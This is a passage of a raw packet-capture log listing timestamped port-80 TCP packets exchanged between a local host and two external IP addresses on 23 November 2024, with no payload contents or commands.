Nov 23, 2024 15:22:40.430473089 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.430541992 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.431463003 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.431515932 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.431605101 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.431674004 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.432547092 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.432604074 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.432665110 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.432718039 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.433619976 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.433690071 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.433754921 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.433887959 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.434674025 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.434735060 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.434806108 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.434875011 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.435719967 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.435796022 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.435851097 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.435903072 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.436767101 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.436830997 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.436882019 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.437007904 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.437841892 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.437900066 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.437972069 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.438028097 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.438904047 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.439055920 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.439086914 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.439119101 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.439937115 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.440012932 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.440053940 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.440223932 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.441009998 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.441071987 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.441137075 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.441257000 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.442059994 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.442116976 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.442203045 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.442269087 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.443118095 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.443186045 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.443252087 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.443299055 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.444205046 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.444286108 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.444318056 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.444468975 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.445262909 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.445393085 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.445427895 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.445457935 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.445599079 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:40.445658922 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:40.446355104 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.446410894 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.446557045 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.446618080 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.447197914 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:40.447413921 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.447489023 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.447539091 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.447590113 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.448438883 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.448590040 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.448641062 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.448641062 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.449523926 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.449606895 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.449645042 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.449800014 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.450705051 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.450768948 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.450820923 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.450928926 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.451736927 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.451797962 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.451847076 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.451951981 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.452665091 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.452738047 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.452867031 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.452931881 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.453747988 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.453809023 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.453896046 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.453973055 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.454807043 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.454868078 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.454919100 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.455008984 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.455857038 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.455921888 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.455985069 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.456052065 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.456887960 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.456950903 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.457021952 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.457086086 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.457940102 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.458002090 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.458132029 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.458555937 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.459165096 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.459222078 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.459275007 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.459346056 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.460117102 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.460170984 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.460361004 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.460506916 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.461146116 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.461221933 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.461272001 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.461327076 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.462192059 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.462268114 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.462322950 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.462373972 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.463340044 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.463402987 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.463485956 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.463542938 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.464478016 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.464534044 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.464654922 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.464711905 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.465442896 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.465504885 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.465581894 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.465637922 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.466438055 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.466548920 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.466579914 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.466635942 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.467503071 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.467557907 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.467600107 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.467633963 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.468558073 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.468625069 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.468708038 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.468764067 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.469613075 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.469693899 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.469707012 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.469765902 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.470659018 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.470721960 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.470793962 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.470845938 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.471731901 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.471813917 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.471899033 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.471970081 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.472820044 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.472877979 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.472906113 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.473097086 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.473910093 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.473968983 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.474004030 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.474046946 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.474984884 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.475038052 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.475068092 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.475121975 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.475987911 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.476078033 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.476131916 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.566956043 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:40.597903967 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.597965002 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.597979069 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.598037958 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.598267078 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.598330975 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.598465919 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.598529100 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.599271059 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.599344969 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.599411011 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.599510908 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.600311041 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.600394011 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.600434065 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.600466967 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.626260996 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.626319885 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.626343966 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.626749039 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.626792908 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.626822948 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.626883030 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.626939058 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.627911091 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.627963066 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.627964973 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.628024101 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.628818035 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.628871918 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.628979921 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.629029036 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.629934072 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.630028009 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.630043983 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.630096912 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.630959988 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.631016016 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.631086111 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.631174088 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.632018089 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.632139921 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.632164955 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.632230997 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.633074045 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.633137941 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.633183002 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.633233070 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.634149075 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.634274006 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.634308100 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.634339094 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.635198116 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.635262966 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.635334969 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.635652065 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.636282921 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.636343956 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.636502028 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.636559963 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.637324095 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.637394905 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.637463093 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.637514114 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.638400078 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.638459921 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.638504982 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.638830900 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.639494896 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.639549017 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.639556885 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.639605045 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.640499115 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.640552998 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.640558958 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.640609026 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.641606092 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.641660929 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.641700029 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.641752005 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.642605066 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.642668962 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.642740965 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.642788887 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.643676043 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.643737078 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.643850088 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.644398928 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.644723892 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.644789934 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.644860983 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.644926071 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.645807981 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.645864010 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.645934105 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.646183968 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.646862984 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.646941900 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.646953106 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.647002935 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.647910118 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.647968054 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.648031950 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.648129940 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.649049997 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.649102926 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.649131060 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.649173021 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.650125027 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.650178909 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.650181055 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.650306940 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.651108027 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.651170969 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.651257038 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.651346922 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.652170897 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.652292967 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.652375937 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.652429104 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.653243065 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.653363943 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.653405905 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.653501034 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.654268980 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.654329062 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.654377937 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.654479027 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.655354023 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.655416965 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.655473948 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.655669928 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.656389952 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.656456947 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.656507015 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.656558990 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.657464027 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.657524109 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.657591105 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.657660961 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.658541918 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.658608913 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.658648014 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.658809900 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.659568071 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.659624100 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.659764051 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.659962893 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.660625935 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.660684109 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.660752058 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.660815001 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.661688089 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.661746025 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.661887884 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.661947966 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.662811041 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.662874937 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.662883997 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.662915945 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.663806915 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.663923025 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.663984060 CET	49853	80	192.168.2.4	185.215.113.16
